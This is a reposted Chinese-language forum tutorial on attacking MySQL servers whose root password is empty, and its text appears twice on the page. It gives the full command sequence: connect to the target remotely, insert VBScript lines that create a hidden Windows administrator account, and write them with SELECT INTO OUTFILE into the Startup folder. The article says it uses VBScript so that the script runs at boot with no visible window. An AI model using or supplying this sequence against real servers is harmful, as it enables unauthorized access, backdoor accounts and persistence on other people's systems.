| 導購 | 订阅 | 在线投稿
分享
 
 
 

MySQL用戶root密碼爲空的另類攻擊方法

2008-08-01 06:24:06  編輯來源:互聯網  简体版  手機版  移動版  評論  字體: ||

這篇論壇文章(賽迪網技術社區)著重介紹了MySQL數據庫用戶root密碼爲空的另類攻擊方法,更多內容請參考下文:

1、連接到對方mysql 服務器

mysql -u root -h 192.168.0.1

mysql.exe 這個程序在你安裝了mysql的的bin目錄中

2、讓我們來看看服務器中有些什麽數據庫

mysql>show databases;

mysql默認安裝時會有mysql、test這兩個數據庫,如果你看到有其它的數據庫那麽就是用戶自建的數據庫。

3、讓我們進入數據庫

mysql>use test;

我們將會進入test數據庫中

4、查看我們進入數據庫中有些什麽數據表

mysql>show tables;

默認的情況下,test中沒有任何表的存在。

以下爲關鍵的部分

5、在test數據庫下創建一個新的表;

mysql>create table a (cmd text);

好了,我們創建了一個新的表,表名爲a,表中只存放一個字段,字段名爲cmd,爲text文本。

6、在表中插入內容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );

注意雙引號和括號以及後面的「0」一定要輸入!我們將用這三條命令來建立一個vbs的腳本程序!

7、好了,現在我們來看看表a中有些什麽

mysql>select * from a;

我們將會看到表中有三行數據,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步

8、輸出表爲一個vbs的腳本文件

mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啓動\a.vbs";

我們把我們表中的內容輸入到啓動組中,是一個vbs的腳本文件!注意「\"符號。

9、看到這大家肯定知道了,就是利用mysql輸出一個可執行的文件而已。爲什麽不用bat呢,因爲啓動運行時會有明顯的dos窗口出來,而用vbs腳本則可以完全隱藏窗口且不會有錯誤提示!本來,應該還有一句完成腳本後自動刪除此腳本的,但是中文目錄實在無法處理,只有作罷!

這篇論壇文章(賽迪網技術社區)著重介紹了MySQL數據庫用戶root密碼爲空的另類攻擊方法,更多內容請參考下文: 1、連接到對方mysql 服務器 mysql -u root -h 192.168.0.1 mysql.exe 這個程序在你安裝了mysql的的bin目錄中 2、讓我們來看看服務器中有些什麽數據庫 mysql>show databases; mysql默認安裝時會有mysql、test這兩個數據庫,如果你看到有其它的數據庫那麽就是用戶自建的數據庫。 3、讓我們進入數據庫 mysql>use test; 我們將會進入test數據庫中 4、查看我們進入數據庫中有些什麽數據表 mysql>show tables; 默認的情況下,test中沒有任何表的存在。 以下爲關鍵的部分 5、在test數據庫下創建一個新的表; mysql>create table a (cmd text); 好了,我們創建了一個新的表,表名爲a,表中只存放一個字段,字段名爲cmd,爲text文本。 6、在表中插入內容 mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " ); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " ); 注意雙引號和括號以及後面的「0」一定要輸入!我們將用這三條命令來建立一個vbs的腳本程序! 7、好了,現在我們來看看表a中有些什麽 mysql>select * from a; 我們將會看到表中有三行數據,就是我們剛剛輸入的內容,確認你輸入的內容無誤後,我們來到下一步 8、輸出表爲一個vbs的腳本文件 mysql>select * from a into outfile "c:\\docume~1\\alluse~1\\「開始」菜單\\程序\\啓動[url=file://\\a.vbs]\\a.vbs[/url]"; 我們把我們表中的內容輸入到啓動組中,是一個vbs的腳本文件!注意「\"符號。 9、看到這大家肯定知道了,就是利用mysql輸出一個可執行的文件而已。爲什麽不用bat呢,因爲啓動運行時會有明顯的dos窗口出來,而用vbs腳本則可以完全隱藏窗口且不會有錯誤提示!本來,應該還有一句完成腳本後自動刪除此腳本的,但是中文目錄實在無法處理,只有作罷!
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
王朝網路微信公眾號
微信掃碼關註本站公眾號 wangchaonetcn
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有